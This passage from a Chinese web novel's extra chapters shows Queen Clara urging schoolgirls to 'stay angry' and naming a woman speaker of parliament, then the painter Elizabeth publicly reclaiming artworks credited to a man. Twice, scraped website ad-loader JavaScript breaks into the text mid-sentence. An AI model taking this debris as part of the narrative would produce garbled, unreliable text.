克劳拉在议会基础制度中规定,议会成员构成必须超过百分之三十为女性——这是她考虑到目前大部分女性没有受教育的比例,之后会进一步扩大。 但第一任下议院议长将由女性出任,这也是克劳拉和艾洛薇出现在海伦女校的原因之一。 克劳拉想要邀请新一任校长凯瑟琳女士兼任议长。凯瑟琳本人没有直接拒绝,但她希望克劳拉以国王的身份为女孩们做一次演讲。 艾洛薇自觉只是陪衬克劳拉,毕竟几位老师看克劳拉的眼神可亲切多了,她感慨:“世事无常,十年前谁能想到你会是这个国家的王。” 克劳拉说:“大家也想不到你会是第一女公爵,内阁重臣之一。” 艾洛薇摇头,“那可不一样,我很确定我会成为女公爵,但是你那会可是个只想着结婚的乖宝宝。” 虽然艾洛薇说的是事实,但克劳拉还是觉得像被戳穿了黑历史般,偷偷掐了她一把。 艾洛薇瞥她一眼,也不在乎身边之人是国王,伸手就掐回来。 两人像小孩子斗气般,在昔日的恩师眼底,一人掐一下。 “幼不幼稚啊,公爵阁下。” “哪比得过我们尊敬的陛下。” 凯瑟琳女士早发现了两人的小动作,微微咳嗽打断两人,“很高兴两位的关系一如当年。” 礼堂近在眼前,凯瑟琳作出邀请的手势,克劳拉这才停止和艾洛薇的小动作,稍稍整理着装。 她今天穿得一身蔚蓝色的正装,很干净利落,几乎没有任何象征身份的装饰,除了领口的胸针与手上的戒指。 相比下艾洛薇可穿得时尚多了,一身象征权力的粉色裙装。这位年轻的公爵向来是引领王都时尚的风向标。 而抛弃了勒人的束腰后,艾洛薇的裁缝团队不再局限于传统纤腰大裙摆,为她设计出各种全新的风格。 相比之下,克劳拉作为国王对着装的要求只有方便她日常活动,但被艾洛薇强塞的礼服也拥有不少。 礼堂的大门由骑士们为克劳拉推开——因为是女校,克劳拉随行的骑士都为女性。 如潮水般的掌声响起,印入克劳拉眼帘的是一张张年轻且饱含憧憬的面容。 只鼓掌也是克劳拉特意要求的,否则挤挤攘攘的礼堂,让女孩们起身行礼可太麻烦了。 因为女性也有可能进入宫廷之中,且国王表现出对女性明显的偏爱,海伦女校进今年招生规模远大于克劳拉在读时,尤其女校正在逐步对平民开放招生名额。 “这可比我们那时候多太多人了。”克劳拉忽然有些紧张,尊贵的国王陛下在加冕仪式、阅兵仪式上都未曾紧张过,被女孩们这么看着,莫名的掌心发烫。 她忍不住和身后一些的艾洛薇窃窃私语。 艾洛薇推了她一把,“您可是国王,没有人敢挑你的错——我会在台下看着你。” 克劳拉深吸一口气,缓缓登上了讲台,台下坐着的不仅有太多年轻的面庞,还有克劳拉的老师们。 包括一些已经不再任职的老师,也专程为了克劳拉赶过来。 哪怕克劳拉已经毕业多年,在面对这么多注视着自己老师的时候,还是会有种很微妙的感觉。 来之前克劳拉一直犹豫该为女孩们讲些什么。 单纯地呼吁她们不要做男人的附属、要有自己的事业财产有些太过苍白无力;告诉她们掌权的快感,对这些没接触过权力的女孩来说可能又无法完全理解。 分享成为国王的秘籍——没有秘籍,全靠绝对的武力;揭露国王的日常,早起晚睡处理事务,还要被蠢笨的大臣气到心梗。 和周围的人商议了几天,才最终定下了她想要告诉女孩们的警言——保持愤怒。 她说出这个词时,礼堂里有一阵小小的骚乱,因为在台下学生的认知里,这和海伦女校的校训“保持思考,保持理智”是冲突的。 愤怒意味着失去了理智。 “你们之中绝大部分人应当听说过‘女人总是不理智的’这一说法,所以理所应当地认为校训要求保持理智是为了让你们不那么像‘女人’。” 克劳拉笑了一下,她转头看了眼站在她不远处的凯瑟琳女士,显然校长女士并不认同这种说法。 校训设立的真实含义,在百年间还是一直在被误会和曲解,至少海伦女士本人绝不是因为认为女人不够理智,所以要求她的学生们保持理智。 克劳拉无意探寻校训最初设立的意义,她继续往下说,“去年一整年,王都记载的暴力犯罪案件数量为八百三十例,而其中犯罪者为女性的只有不到十起。近十年帝国内部几乎所有犯罪者都为‘理性的男人们’,而他们还要说着女人更不理智。” “这也太奇怪了,一个男人不理智犯罪,人们只会指责他本人。而一个女人不理智犯罪,人们会说所有女人就是不理智的。” “当然低犯罪率其实并不能直接证明女人是理智的,只是你们鲜少接触到能够犯罪的武器。像我时常想拿火枪崩了听不懂我说话的蠢货——只是基于对律法的尊重,我得容忍这样的蠢货存在于我的身边。” 女孩们笑不出来,克劳拉身边的蠢货多半指得是她们的父亲或是兄弟。 而更让她们无言的是,她们找不到任何话反驳克劳拉。有人想说这难道不是因为女人不理智才从小被教育,而犯罪率低正是教育成功的原因。 况且多数情况下,在家中她们的母亲多半是一直愤怒的那一位。 “回归我最初的话题,保持愤怒。一位骑士被人冒犯,他感到愤怒并发动决斗,在决斗之中杀死了冒犯者,这一行为是被法律认可的,是符合教义的。” 这一点毋庸置疑,不仅仅骑士,默认所有的公民都拥有这种权利,对冒犯他的人发起决斗。 只是早些年教会规定,不允许平民之间私斗,这一项权利实际很少在平民之间实行,多用于骑士,包括他们为了捍卫其主的尊严。 “所以在受到不公正对待时感到被冒犯且愤怒,是一项公民的基本权利。” “早先宪法里规定的公民为帝国境内所有非奴隶的成年男性——只不过两年前,宪法修改后公民定义为在帝国境内出生的所有人,无论性别。” 克劳拉抬手,掌心向上,指向在座的所有人,“包括你们所有人,都是宪法所规定的帝国公民,权利受宪法保护。” 年轻的女孩们可能不能完全理解公民身份带来的权利,但坐在台下的女士们都知道这条法律修改的意义之大。 尤其她们大都知道克劳拉回到女校的目的——是为了邀请凯瑟琳出任议长,女人将被允许进入权力中心。 有年迈的老师偷偷擦拭了下眼角,海伦女校成立至今,顶住了多少压力,很多时候资金都是老师们自掏腰包。 而女人极少能够拥有自己的财产,她们只能四处寻求男人们的帮助,甚至不得不打着所谓“夫人教育”的名头,让部分贵族愿意为他们未来的完美夫人买账。 她们难道不愤怒吗?只是作为弱者,她们没有愤怒的权力,弱者对强者只被允许拥有爱慕、嫉妒、恨。[1] 而现在克劳拉却告诉她们,她们允许愤怒,也理应去愤怒。 “保持愤怒,这是你们拥有的和男人同等的权利!被冒犯时愤怒、受到不公正对待时愤怒、被说到女人就应该怎样时愤怒、被要求女人不允许做某些事时愤怒!” “至于武器和盾牌,那是我要考虑的事情。你们只需要保持愤怒,不要麻木!去享受你们应有的权利!” 总之顺利完成演讲,克劳拉松了口气。 至于女孩们的反应和心中的想法,克劳拉并没那么在意,毕竟作为国王,她只需要站在那里,就是标杆。 凯瑟琳女士在她讲完后,也没有反驳克劳拉的说法,只补充道:“愤怒也该有正确的愤怒方法,如何去愤怒是大家日后需要理智研究的课题。” 算是对克劳拉发言的认同。 礼堂集会结束后,是克劳拉与凯瑟琳女士的商谈,关于议会一事。 在此之前,克劳拉已经就整个议会制度和凯瑟琳有过多次沟通了,包括成员性别组成。 尽管凯瑟琳对于30%的女性数量有些不乐观,她认为很有可能没有这么多女性出任,但克劳拉很乐观。 凯瑟琳最终同意了出任,“保护了你们这么多年,在最后的人生里再为她们保驾护航一段吧。” 所幸因为国王私库对女校的全额赞助,校长的工作已经轻松了很多。 不仅如此赞助女校、在帝国境内建立多所基础学校,克劳拉还突破了教会对大学的垄断,成立了第一所女性大学。威逼利诱阿方索教皇承认大学的合法性。 若不是担心凯瑟琳女士分身乏术,克劳拉还想让她出任大学校长。目前暂由蕾莱担任,最近蕾莱也常驻海伦女校之中,向女士们学习管理学校之法。 克劳拉说:“感谢您对帝国作出的贡献。” 凯瑟琳浅淡的笑意一闪而过,她年轻时女儿早夭,丈夫死于战场,本应再嫁的她执意进入海伦女校。 漫长的岁月里,这样女学生就是她的孩子,她只是做了每位母亲都会做的事。 窗外的小花园里,艾洛薇正和年轻女孩们先谈着,比起有些高冷的国王陛下,艾洛薇公爵显得更友善些,帝国风向标之名也让她更受年轻女孩的欢迎。 像克劳拉与艾洛薇一样的女孩只会越来越多,凯瑟琳如此确信。 得到了想要的答复,克劳拉向老师告别,“之后我和艾洛薇会去湖边走走,不打扰您的工作了。” 凯瑟琳起身恭送她,“去吧,这是您的权利。” 克劳拉站在小花园外等艾洛薇,时不时会有老师上前和她搭话,询问她一些关于某些政治方面的看法。 此前克劳拉一直以为这些老师们鲜少涉猎这方面,毕竟她们在学校里几乎不会教给学生这些。 但实际上在短暂地交流中,克劳拉发现她们的很多想法和政见都超前。 她想凯瑟琳夫人的担忧很可能是多余的,这个国家肯定有众多像她的老师们一样的女性,因为社会不认同,只能伪装自己。 等克劳拉终于从老师群中脱身时,艾洛薇正在不远处看着她。 “这么多年过去了,陛下还是这么受老师们的欢迎。”艾洛薇打趣她。 两人穿过林荫道,又望见那片盈盈水面。 有微风吹来,蓝铃花在风中摇曳,吸引了克劳拉的目光,她还是钟爱学校里这大片蓝铃花丛。 “在我的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 记忆里,母亲在家人面前总是很愤怒。”艾洛薇忽然开口道。 她很少在克劳拉面前提及自己的家人,克劳拉同样。但艾洛薇也从旁人的只言片语中推断出,克劳拉的父母一定爱极了她。 克劳拉安静地做一位倾听者。 “之前你说愤怒是一种权利,这是对于地位平等的人来。弱者对更弱者的愤怒不过是一种单纯的施暴,宣泄她在强者处遭遇的不公正。” 艾洛薇发现她已经能平静且坦然地面对她与母亲的关系,母亲确实是错误的。 她的愤怒只向女儿发泄,而当发现女儿逐渐超脱她的掌控,想要向上变强时,还会拖拽住女儿向上的脚步。无他,母亲做了一辈子的弱者,她想要女儿像她一样,以此来证明她的人生她的愤怒是正确的、理所应当的。 艾洛薇将自己未遇到玛丽前的人生与玛丽死后的父母对待她的态度简短地告知了克劳拉,这算不上什么很有趣的人生经历,甚至有些庸俗。 克劳拉在她叙述的过程中,编了一个花环,在她说完后,带在了她的头上。 “所以公爵夫人在烧死公爵时,你在想些什么?” 克劳拉与这位公爵夫人几乎没有任何往来,她单纯地觉得母女的关系是一种很复杂的关系,而艾洛薇的母亲也并没有完全像她所说的那样,试图将艾洛薇也拽入沼泽。 当然这是艾洛薇的事,她作为当事人远比克劳拉经历得更多,克劳拉不打算高高在上说一些你应该尊重母亲的话。 她只是很好奇,艾洛薇在知道父母都葬身于火中时那一瞬间的情感。 “克劳拉,我是个自私的人。”艾洛薇笑了笑,她很少否认自己,“所以我的回答是,欣喜——占着位置的老东西终于死了,至于母亲,我几乎没有任何想法。” 这是很艾洛薇的回答,她只在乎她在乎的人,对不在乎且没有利用价值的人表现得极为冷酷无情。 “我讨厌弱者,克劳拉,以前你是弱者所以我厌恶过你,但现在你是强者……” “洛薇,你不讨厌弱者。”克劳拉打断她,至少在这方面克劳拉可比艾洛薇更了解她自己。 如果艾洛薇真的厌恶弱者,就不会建立大树,就不会在当初接近克劳拉并帮助她,不会在宴会上大肆宣扬自己不穿束腰,只为了将这种刑具从女人身上扒下。 更不会在克劳拉推行民生和女性律法时,永远第一时间响应,永远为克劳拉和这些大臣们唇枪舌战。 克劳拉从不要求所有人变强,她一直在为弱者争取权益,而艾洛薇总能最快理解她的用意,并为她战斗。 “所以洛薇,你不讨厌弱者,你只是厌恶那种帮不了弱者的感觉。” 艾洛薇没有反驳克劳拉,或许是因为她被克劳拉说中了心事。十多年的相处,她们比对方更了解彼此。 她摘下克劳拉为她戴上的花环,穿在手臂上,笑着说,“我们该回去了,再晚些玛丽又要在宫中到处折腾找你了。” 克劳拉拉住了她,她说:“洛薇,不被人理解也没关系,弱者无法保护自己,我们就替为她们提供应有的保护,替她们作出决定,再让她们不停地学习,终有一天她们会理解的。” 就像是束腰,它会严重危害人的身体器官,克劳拉下令废除它后,太多太多的贵女无法理解,甚至私下攻讦国王的容貌和身材。 但更多的是想要自由着装的女孩,光从每年宴会上越来越多与众不同的女式服装上可以看出。 “不要着急,洛薇。就像你当初耐心等待我一样,我们要给她们足够的成长时间——如果我们做不到,还有玛丽,玛丽做不到还有她的孩子,过去不会缺少像海伦一样的女性,未来也不会缺少。” 艾洛薇静静地注视着克劳拉,她原以为克劳拉成为国王后就不会再那么理想主义,事实证明,人是很难改变的。 不过这样也好,她喜欢克劳拉的理想。 “玛丽现在只是个四岁的孩子,你对她要求也太高了,不如先让她学会习惯你不在身边的日子。” 一想到玛丽,克劳拉有些头疼,她还是趁玛丽午睡偷跑,现在估计已经醒来在闹了,希望宫里众人能够管住她们的储君殿下。 因为国王的御驾在校外,贵女们暂时没有离开,还在校园里上课。 等到克劳拉离开时,师生来送她。 国王陛下刚和凯瑟琳女士客套几句,艾洛薇拍了拍她的肩,转头就看到了塔带着玛丽骑马而来。 还有好一段距离就能听到玛丽呼喊着,“母亲陛下!” “她这种称呼到底是和谁学的。”艾洛薇每次听到都无言。 还能有谁,她的好舅舅伊登·德文希大公。 面见王储和王夫,众人又是一段复杂的礼仪。为了避免场面越来越混乱,克劳拉提溜着玛丽,推搡着艾洛薇上了马车。 至于塔,随意带王储出宫,克劳拉决定冷落他两小时。 分个神的功夫,艾洛薇捧着蓝铃花花环,美滋滋地对着玛丽炫耀,“你的母亲陛下送给我的!她!亲!手!作!的!” 一觉醒来没有见到母亲,本来就委屈的玛丽,指着艾洛薇扁嘴就掉眼泪。 克劳拉额角青筋直跳,恨不得把艾洛薇也一并踢出马车。 “母亲陛下,玛丽也想要花环。”玛丽抽抽噎噎。 克劳拉只能答应她,等回到王宫也亲手为她做一顶。 好不容易把孩子哄好,艾洛薇又恶魔低语:“宫中没有种蓝铃花啦~” 年幼的王储又很快红了眼眶。 “艾洛薇!你幼不幼稚啊!” 她上辈子是欠了艾洛薇母女的吧,克劳拉出奇愤怒了。 116. 番外(7) 伊丽莎白从王宫离开后很长一段时间都待在海伦女校中,偶尔会给学生们让几节绘画课,大都数时间她都在附近写生。 两任新王都对她很宽容,兄长温斯顿公爵也很少管她,不要求她做些什么。过于轻松的日子,让她甚至都忘记了以往的噩梦。 直到克劳拉来到她面前,带来了布仑·瓦兰许被特曼大学开除的消息。 “那些都是你画的吧。”克劳拉问。 那些指的是布仑迄今为止在所有沙龙和画展上以他的名字公开展出的绘画。 “布仑甚至连基础画技都没有掌握,他以手受伤这一名头在特曼大学待了三个多月,随后被同窗揭穿并开除。” 伊丽莎白僵住了,她开始颤抖,画笔拿不稳落到地上,她几次都没有捡起来,还打翻了其他工具,身边被她弄得一片狼藉。 克劳拉也没想到她会有这么大反应,下意识就要帮她收拾。 “您是陛下,不能做这种事。”伊丽莎白小声制止她,她说话时还带着抑制不住的颤音。 “没有这种说法,我想做什么就做什么。”克劳拉利落地帮她将东西收拾好,画笔也重新塞回她手中。 “所以确实是你画的。”克劳拉肯定道。 这其实是艾洛薇最先发现的,她比克劳拉更关注这方面,当初在王宫中觉得伊丽莎白的风格过于眼熟后,她当即展开了调查。 很快就发现布仑·瓦兰许已经被大学开除的事实,只不过他一直不敢回到国内。 而伊丽莎白那段时间一直试图绘画人体,也不过是因为大学里正统古典主义就是人体绘画。 在此之前伊丽莎白的画作一直是各种风景画,人物虽然有但相对朦胧。 “那不是我画的,女人画不出这种东西。”伊丽莎白冷静了一些,她收起了画布。这里是专属她的画室,画室里众多画作都被蒙上了一层白布。 那些理应是她的心血她废寝忘食画出的作品,作为真正作者的伊丽莎白却选择让这些画作冠以男人之名在外展出。 克劳拉今天不是为了让伊丽莎白承认画作,而是为了其他事,“我今天来只是想知道,茱莉亚·瓦兰许知道这件事吗?” 伊丽莎白一直沉默,克劳拉没有逼她说话,但也没有离开,似乎执着地等一个回答。 良久,画室的主人终于妥协,“她不知道,我们做得足够隐蔽,布仑在中心大街还拥有一间自己的画室。” 伊丽莎白的话其实已经承认布仑画作造假。 克劳拉没有问她为什么要这么做,原因很明显,女人的画作不被允许进入正规画廊展出,顶多在海伦女校内部展出。 只有这样她的画才能被其他人看到并熟知。 实际上伊丽莎白起初只是想她的老师——同样是一位女性画家被人看到。选择和布仑合作,也不过是因为她在当时只认识处境相同,与她惺惺相惜的布仑。 她们都被强势的母亲操控,都不被父母爱着。 第一幅画展出后,伊丽莎白的风景画引发了轩然大波。在古典主义人像画盛行的当时,风景画绝不是主流。 但那副风景画被一位富商以超高价买下,作品的主人布仑理所当然地受到了万众瞩目,甚至短暂地获得了瓦兰许夫妇的关心。 尝到甜头的布仑开始不断“创作”,不断“产出”,风头也越来越盛,古斯塔一世甚至邀请他成为一名宫廷画师。 布仑当然不可能同意,宫廷画师要当众作画,久了肯定会暴露,他可舍不得现今的一切。 所以他推辞技术不够,但请求陛下进入宫廷之中工作,为他作画带来源源不断的灵感。 后来就是克劳拉所知道的,布仑在宫廷中工作时得罪了陛下,他顶多算是个有些天赋的画师,远远达不到被陛下重视的程度,很快被赶出宫廷。再次让父母感到失望。 柳暗花明,月余后他的画作被特曼大学艺术学院的教授注意到,收到了来自大学通知书。 布仑第一反应是和伊丽莎白结婚,并将她一同带去外国继续成为他事业的供养品。 但伊丽莎白拒绝了,她选择结束这段合作,正好当时碧安卡——她的母亲需要一位合格的棋子入宫,为了摆脱布仑的纠缠,伊丽莎白甘愿牺牲自由。 但进入大学成为了伊丽莎白的执念,她一面觉得自己和老师的画技被认可,一面又痛恨自己的性别。若她不是个女人,她早已经拥有了追求梦想的权力。 极端分解的伊丽莎白开始尝试她此前从未接触过的人体绘画,模特就是那些侍女——最终却被怀疑为魔女。 到最后她甚至画不出自己原本能够画出的风景,她被困在一间房间,眼前什么都没有,只有无尽的荒芜。 直到见到那一夜王宫的圣光。 克劳拉离开后,伊丽莎白又有很长一段时间画不出任何东西,像无头苍蝇般每天在女校转悠。 凯瑟琳找她谈话了一次,询问她想不想跟随军队前往德林北。 目前德林北已经被整和为一个国家,克劳拉希望伊丽莎白作为外交代言人与德文希大公一同前往建交。 “德林北的现任首领为陛下的姨母,路上又有大公护卫,安全方面拥有绝对的保证。但是路途遥远,总归会吃上一番苦头。” 伊丽莎白猜到这应该是陛下的意思,离开王都也好,继续待在海伦女校也无法画出任何东西。 她以为旅途中会很尴尬,毕竟伊丽莎白此前与克劳拉陛下的关系相当微妙,大公再怎么样也是克劳拉的兄长,不可能对几年前的事毫无芥蒂。 但路上伊登虽然谈不上好脸色,因为温斯顿公爵和克劳拉的嘱咐,也没太为难她。 再加上一同往北的弗洛伦斯与护士们,队伍里气氛很热烈,完全不像是旅途艰苦的样子。 这些护士们各个都会骑马,少部分即使不精通狩猎,也并非一窍不通。这几乎颠覆了伊丽莎白对女孩的印象。 即使克劳拉一世在位几年,街上成群的年轻女孩们越来越多,伊丽莎白见到的还是一群严格恪守贵族礼仪的贵女。 但这群护士,不仅仅擅长她们的本职工作,更能狩猎捕鱼、生火扎营,完全不输于其他士兵。况且这支军队里,也拥有众多女兵。 简直像男人一样强大。伊丽莎白也想成为那样的人。 “你在说什么?你为什么要像个男人?”弗洛伦斯疑惑,男人有什么好的,强大就强大,还非得说像个男人一样强大。 若是有人敢对克劳拉说她像个男性君主一样伟大,克劳拉一定会拔剑砍了他。 “可是,这些很多时候都是男人在做,你们一定经历了比他们更多的努力吧?”伊丽莎白理所当然地认为,如果生为男性,生活都会少去很多麻烦。 “你说错了,对我来说这些事并不困难,我很容易就能掌握。就像对你来说画画很容易,但我完全学不来画画。” 弗洛伦斯企图纠正她错误的思想,“女子之间都会有差异,男子更加。你有个兄长,莱文·温斯顿,他没有成为你长兄那样的摄政大臣是因为不想吗?” “你不能理所应当地认为所有的男人都能轻而易举像我一样,简直是对我的侮辱!是在说像我们这么厉害的女人不过是个普通男人一样。” 伊丽莎白语塞,她意识到自己说错了话。 虽然她的兄长莱文时常说如果不是他不想参政,参政的话获得的成就肯定比大哥更大,但伊丽莎白知道,莱文远不及她们的长兄。 “我不是这个意思,我只是想表达这些方面男人更容易变得厉害,但是你们这么厉害,不关性别都是值得歌颂和学习的。” 弗洛伦斯决定和这位前王后冷战两天,非得拿她跟男人比较做什么,她只会想要超越比自己更强的特定的人,而不是一群别人假想中理应比她更厉害的“男人”。 话虽这么说,等第二天弗洛伦斯看到伊丽莎白在绘画,又巴巴贴上去旁观了。 “我听克劳拉说你拒绝了出任宫廷画师的邀请!这可是克劳拉亲自邀请你!” 伊丽莎白回想了一下,才想起之前国王陛下来询问她想要布仑·瓦兰许付出什么代价时,顺口问过要不要出任宫廷画师,她也确实拒绝了。 “此前没有女人出任宫廷画师的先例,况且以我的水平……” 弗洛伦斯终于知道自己为什么有时候不喜欢伊丽莎白了,她就像以前的玛格丽特一样,总说这也不能做那也不能做。 明明不是违法乱纪的事情,其他人也在做,因为加上了一个女人的身份那就是统统不能做。 “以前有女人当过国王吗?有女人当过将军吗?以前还没有人类没有国家呢!不要总说没有先例,你为什么不自己做那个先例?” 伊丽莎白又想要颤抖了,成为先例难道是一件很容易的事吗?她的老师想要成为先例,最后只成为一幅画——一副被烧死的女巫。 弗洛伦斯还想对她说些什么,但她已经不想听,捂住了耳朵,闭上了眼睛,用以表示拒绝。 这幅抗拒的姿态,让弗洛伦斯闭上嘴。光靠说教就能让人立刻转变思想的话,克劳拉也不用每天想法设法研究怎么制定法案了。 得让伊丽莎白亲自去看看,女巫之城中,众多巫师们的日常。 * “所以你是怎么说服伊丽莎白来办展出的?” “嗯?我没有说服,只是随口一问,她就答应了。” 这是一场专属伊丽莎白的艺术沙龙,位于洛芙宫,所有展出的画作都出自她之手。 克劳拉不过是听霍德华姐妹提起伊丽莎白在北方的三年画了百多幅画作,试探性地邀请伊丽莎白回王都开设画展。 她一开始就做好了会被拒绝的准备,出乎意料地伊丽莎白同意了。在女巫的帮助下,她与众多作品一同回到了王都。 转念一想也属实正常,克劳拉认为没有人不会被女巫城中那样浓烈向上的自由感激励,所有人都在为在特定领域变强而奋斗。 显然将伊丽莎白送去那种环境才是最好的选择,她可以抛开性别,纯粹做自己热爱的事。 此次展出核心画作并非她这三年里所作的任何一副,而是一副名为《圣光》的作品。 雨夜朦胧的王宫被耀眼但并不刺目的圣光笼罩,事件的几位亲历人一眼认出了画中的场面。 “所以那种行为也是你教的?”艾洛薇随意地背靠在二楼的栏杆上,侧头俯视着一楼的展出。 艾洛薇所指的是伊丽莎白站在《圣光》面前,向每一位驻足欣赏的人说道:“这是我的作品。” 起初她的声音还有些生硬,细听还能听到不易觉察的害怕,一个上午过去了,她已经能坚定又自豪地说出。 除此之外,若是观画人点头示意或赞许,她会抬高下巴欣喜地受下。 而若是遇到不信任女人能画出这种作品的人,她也会揪着对方理论,让对方看清楚作品的署名,完全不见贵族礼仪的模样。 这种做法很眼熟,艾洛薇瞥了眼克劳拉。 而克劳拉也同样觉得眼熟,她肯定道:“是赫利斯教的。” 多半是赫利斯告诉她不要证明画到底是不是出自自己的手,而是要求对方给出证据证明这不是她的作品。 只是还真有一位富商认出了熟悉的笔触,他质问这些画难道不是出自布仑·瓦兰许之手? 这一变故让大厅出现了一阵骚乱,眼前这些画作确实像极了盛极一时的年轻画师布仑的作品。 周围的窃窃私语与质疑异样的目光,让伊丽莎白慌了神,在这个瞬间,她仿佛又变回三年前那个只想闭目塞听的胆小鬼。 艾洛薇问道:“要去帮帮她吗?” 再怎么说伊丽莎白现在还是王室成员,被这么质疑有损于王室容面。 “她可以自己解决。”克劳拉摇头,虽然这么说,她还是微微抬手示意护卫们准备救场。 “因为……”伊丽莎白大脑一片空白,一时想不出如何反驳富商的话。 “布仑先生已经很久没有消息了,想必他在特曼大学里潜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心提升画技——若是让他知道自己的作品被一个女人窃取……” “可是茱莉亚阁下目前不是陛下面前的新宠,她这样不怕茱莉亚阁下的报复吗?” “她之前是王后,陛下都曾被她指控,现在也仍然是温斯顿阁下的亲妹妹,让布仑为她作画、陛下为她提供地方展出也算不上什么大事。” 不是这样的,伊丽莎白张了张口,想要开口辩解,却感觉嗓音被什么东西扼住了,无法发出任何声音。 几位随她前来王都的女巫在人群之中担忧地望着她,她们都不知道布仑是谁,只知道这些画作都是伊丽莎白日以继日完成的作品。 见到试图帮她说话的女巫被人攻讦、推搡,伊丽莎白终于忍不住了,她大声吼出:“因为这该死的布仑,剽窃的是我的作品!都是我画的!而他早就因为根本不会画画被特曼大学开除!无颜回索滋帝国!” 这些话也没那么难说出口,却费劲了伊丽莎白全身的力气。 她心跳快得快蹦出胸口,但除了自己的心跳声与耳鸣,什么也听不到。 人群一片寂静,多数人第一反应都是不敢置信,这毕竟是个女人,除了生子什么都做不成的女人。 在他们的认知里,就算现在已经拥有了女性君主,多位女性勋爵。多数贵族也觉得她们不过是好运而已。 “她说的是真的。”茱莉亚的到来,将这场闹剧推上了顶峰。 茱莉亚才刚结束工作,赶过来,一直想以母亲的身份单独向这位殿下道歉。刚到现场不久,就听到了伊丽莎白那一番话。 她穿过人群,径直来到伊丽莎白面前,郑重地行了一礼,“我一直想亲自向您赔罪,请求您的原谅。是我疏于了对布仑的管教,让他犯下这种不能被饶恕的错误。” 茱莉亚态度陈恳,姿态也放得相当低,反而让伊丽莎白有些局促了。她自知这件事也是她参与促成,只是布仑后来胃口越来越大,她才脱离逃走。 也是她不够有勇气,没办法在最初就站出来告诉大家这些都是她的作品。 最终克劳拉现身,展示了来自特曼大学的开除声明,证实了布仑因欺骗教授被开除的事实。 买画的富豪差点晕过去,他不愿接受自己高价买的画都是出自女人之手,嘴里一直呢喃着都是她人合伙演的。 茱莉亚早已亲自问过布仑本人,她不会包容她的儿子,更何况克劳拉需要她的态度。 所以她直接了断告知富商,愿意高价买回伊丽莎白的画作。 茱莉亚早就将布仑卖画所获的利益返回给伊丽莎白,但这笔钱后者返给了海伦女校。 艺术沙龙持续了整整一周,因为冒名顶画的事情过于荒谬,越来越多的人慕名来欣赏展出。伊丽莎白也以一位画家的身份为大众所知。 “这是圣米罗大学的入学邀请,他们愿意为你破例招收女学生。” 这张邀约先一步抵达了克劳拉手中,毕竟伊丽莎白目前还是王室成员。 “你要前往吗?”克劳拉询问。 “听说您创办了一所女性大学。”伊丽莎白反问。 这不是什么秘密,所有人都知道这所大学公开聘请老师,并准备招生。 当然遇到了一些小小的麻烦,比如男性教师联合抵制不愿入职,而女性能够走出家庭担任教师的又太少。 此后的招生也未必有父亲或是丈夫愿意为学生支付学费。 不过万事刚起步时都会有些困难,克劳拉并不着急。 “是的,不过圣米罗毕竟是大陆最顶尖的艺术学府……” “我的意思是,从圣米罗毕业后,我是否有幸入职您的大学。”伊丽莎白展开大学邀约,拿在手中,发现自己并没有想象中的惊喜,或许是她已经拥有了自己的目标。 在未来,若是有其他男人对着女学生说:“女人不可能成为艺术家”时,女学生可以愤怒地回道: “闭嘴!蠢货!你难道不知道伊丽莎白阁下是女人吗?” 这将是她为此奋斗的目标。 克劳拉笑了:“当然,这是女孩们的荣幸——所以你还要拒绝我宫廷画师的邀约吗?” “我已经在领王室的薪水了,难道您还想再发一份给我?” 伊丽莎白作为王太后,自然拥有她的财产与领地,这不完全算是王室发给她的薪资。 克劳拉态度很坚定,希望伊丽莎白拥有自己的职业,至少宫廷画师这个名头能在外人面前为她的添上一些光彩名声。 这一次伊丽莎白没有再拒绝,“既然如此,那笔薪水也一起并入女校基金里吧。” 这就是伊丽莎白的自由了,克劳拉不会干涉。 几个月后,安娜替伊丽莎白送来了新一副巨大的画作,指明送给克劳拉的。 克劳拉揭开布后,发现画的是她的加冕仪式。 身着军装的国王,从教皇手中接过冠冕,为自己戴上,周围环绕着众人。 玛丽认认真真端详着这幅画,对于找半天没有找到她这件事感到非常失望。 她问:“母亲陛下,您加冕的时候为什么只邀请塔塔没有邀请我?” 克劳拉:…… 塔回答她:“邀请你了,只不过在母亲怀里。” 玛丽勉强接受了这个理由,但她还是拉着塔询问具体在哪个位置。 “等我加冕的时候,一定会邀请陛下和塔塔。”玛丽一本正经说道。 克劳拉和塔都没有告诉她,只有一种情况玛丽会举行加冕,只期待地答应她一定会出席。 “才不邀请洛薇!卡尔可以哦,舅舅算了,讨厌他了。安娜也一定要来哦!” “……” 年幼的王储将她的加冕仪式安排得明明白白,而身边的众人都配合她。 有些人生来就会站在权力的顶峰,玛丽将会是这个国家最耀眼的君主。 这幅画最后被裱在了王宫入口正对着的墙上,所有人进入王宫就能见识到这幅巨大的属于克劳拉的荣耀时刻。 百年之后亦然。